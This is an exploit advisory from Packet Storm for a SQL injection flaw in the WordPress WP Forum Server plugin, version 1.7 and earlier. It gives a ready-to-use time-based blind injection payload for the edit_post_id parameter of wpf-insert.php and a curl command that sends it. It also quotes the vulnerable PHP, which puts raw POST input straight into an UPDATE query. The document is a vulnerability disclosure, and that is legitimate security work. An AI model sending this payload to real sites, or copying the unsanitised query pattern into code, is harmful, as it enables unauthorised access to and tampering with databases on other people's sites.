WordPress WP Forum Server 1.7 SQL Injection

2011-09-07T00:00:00
ID PACKETSTORM:105024
Type packetstorm
Reporter Miroslav Stampar
Modified 2011-09-07T00:00:00

Description

                                        
                                            `# Exploit Title: WordPress WP Forum Server plugin <= 1.7 SQL Injection Vulnerability  
# Date: 2011-09-07  
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)  
# Software Link: http://downloads.wordpress.org/plugin/forum-server.zip  
# Version: 1.7 (tested)  
  
---------------  
PoC (POST data)  
---------------  
http://www.site.com/wp-content/plugins/forum-server/wpf-insert.php  
edit_post_submit=1&edit_post_id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20&edit_post_subject=test&message=dummy&thread_id=1  
  
e.g.  
curl --data "edit_post_submit=1&edit_post_id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20&edit_post_subject=test&message=dummy&thread_id=1" http://www.site.com/wp-content/plugins/forum-server/wpf-insert.php  
  
---------------  
Vulnerable code  
---------------  
if(isset($_POST['edit_post_submit'])){  
$subject = $vasthtml->input_filter($_POST['edit_post_subject']);  
$content = $vasthtml->input_filter($_POST['message']);  
$thread = $vasthtml->check_parms($_POST['thread_id']);  
$edit_post_id = $_POST['edit_post_id'];  
...   
$sql = ("UPDATE $vasthtml->t_posts SET text = '".stripslashes($content)."', subject = '".stripslashes($subject)."' WHERE id = $edit_post_id");  
$wpdb->query($sql);  
  
`